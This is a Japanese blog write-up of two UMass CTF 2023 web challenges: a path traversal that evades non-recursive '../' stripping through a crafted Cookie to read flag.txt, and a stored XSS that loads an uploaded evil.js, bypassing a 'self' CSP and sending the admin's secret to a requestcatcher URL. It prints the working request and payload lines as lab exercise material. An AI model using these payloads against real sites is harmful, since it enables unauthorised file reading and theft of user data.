はまやんはまやんはまやん

hamayanhamayan's blog

UMass CTF 2023 Writeups

[web] DeepFried

ソースコードが与えられる。
パット見てどこにフラグがあるかわからないが、巡回すれば/restricted_memes/TheFlag.jpgだけ
画像が違うのでこれを抜き出すことを考えてみる。

router.all('/restricted_memes/:img', async (req,res, next)=>{
    if(req.ip === '::ffff:127.0.0.1') {
        next();
    } else {
       return res.status(403).send("Unauthorized Request");
    }
})

のようにこのフォルダの閲覧は内部からに制限されているので、画像のアップロードをURLからとして
http://127.0.0.1:3000/restricted_memes/TheFlag.jpgを送ってこれをアップロードしてもらうことにする。
するとSet-Cookie: 031052a5337bff63d6037ffec117e25d/TheFlag.jpgのようにCookieにアップロード先がくっついてくるので、
/uploads/031052a5337bff63d6037ffec117e25d/TheFlag.jpgにアクセスすると、See flag.txt in this directory for the flag.と言われる。

LFIを探すと、POST /captionsubmitに存在する。
cookieにアップロード先のパスが入っていて、使うときに../が削除されているが再帰的に削除はしないので、
....//のようにすると、1回だけ消されて../と残すことが可能。
これでパストラバーサルできるので任意のファイルを持ってこれる。

router.post('/captionsubmit', async (req,res)=>{
    let caption = req.body.caption;
    let image = req.headers.cookie;

    try
    {
        image = image.replaceAll('../','');

        let fried = await fry(caption, image);
        res.set('Set-Cookie', fried);

        res.render(path.resolve('views/Returned.html'),{
            caption: caption,
            fried: fried
        })
    } catch (error)
    {
        return res.status(400).send("ERROR: Something went wrong while Frying");
    }
})

async function fry(caption,imagepath){
    const data = fs.readFileSync(`uploads/${imagepath}`, 'base64');
    try {
        let image = new Image();
        ...

        return base64img;
    } catch (error)
    {
        return data;
    }
}

後は、flag.txtを持ってくるだけ。
以下のようなリクエストでbase64エンコードされたフラグが持ってこれる。

POST /captionsubmit HTTP/1.1
Host: deepfried.web.ctf.umasscybersec.org:3000
Cookie: ..././..././..././..././..././FRY/restricted_memes/flag.txt
Connection: close

caption=asdf

[web] umassdining2

ソースコードが与えれる。
アドミンにGET /admin_dashboardを踏ませると中身にフラグが含まれている。
XSSが達成できればよさそう。

ファイルをアップロードするたびにadminにユーザー名を見せることができる。
なお、ユーザー名でXSS可能。
だが、CSPとしてdefault-src 'self'が付いている。
同時にファイルアップロード機能もあるので、これを使って読み込むのだろう。

router.post('/submit',middleware.authReq,(req,res)=>{
    if(!req.user){return res.status(403).send('Unauthorized action!')}
    let file = req.files.submission;
    if(path.extname(file.name)!=='.png'){
        res.status(400).send("Invalid file type. Expected \".png\"")
    }

    let dir = crypto.createHash('md5').update(req.user).digest('hex');
    if(!fs.existsSync(`uploads/${dir}`)){
        fs.mkdirSync(`uploads/${dir}`);
    }
    fs.writeFileSync(`uploads/${dir}/${file.name}`,file.data);

    getSub(req.user,file.name);
    res.send("Admin is gonna check this out.");
})

ファイル末尾が.pngだと読み込めないが…と思ったが、.pngのif文の中で発行しているresにreturnが付いていないので、

アップロード自体は行われてしまう。

攻撃の流れとしては、まず以下のようなjsコードを用意する。

window.location.href="https://[yours].requestcatcher.com/t?f="+document.querySelector('secret').textContent;

これを適当にevil.jsみたいにアップロードして、URLを発行してもらう。
あとは、それを使って
<script src="/uploads/0b10813e85c20b58a023440d9f58d7e2/evil.js"></script>のようなユーザー名の
ユーザーを作成して、適当にアップロードすると、ユーザー名を使ってXSSが発火され、
CSPも回避してフラグを読み取ることができる。
CSPでdefault-srcがselfなので、fetchとかではなくlocationによる遷移で情報を抜き出す必要があるのに注意。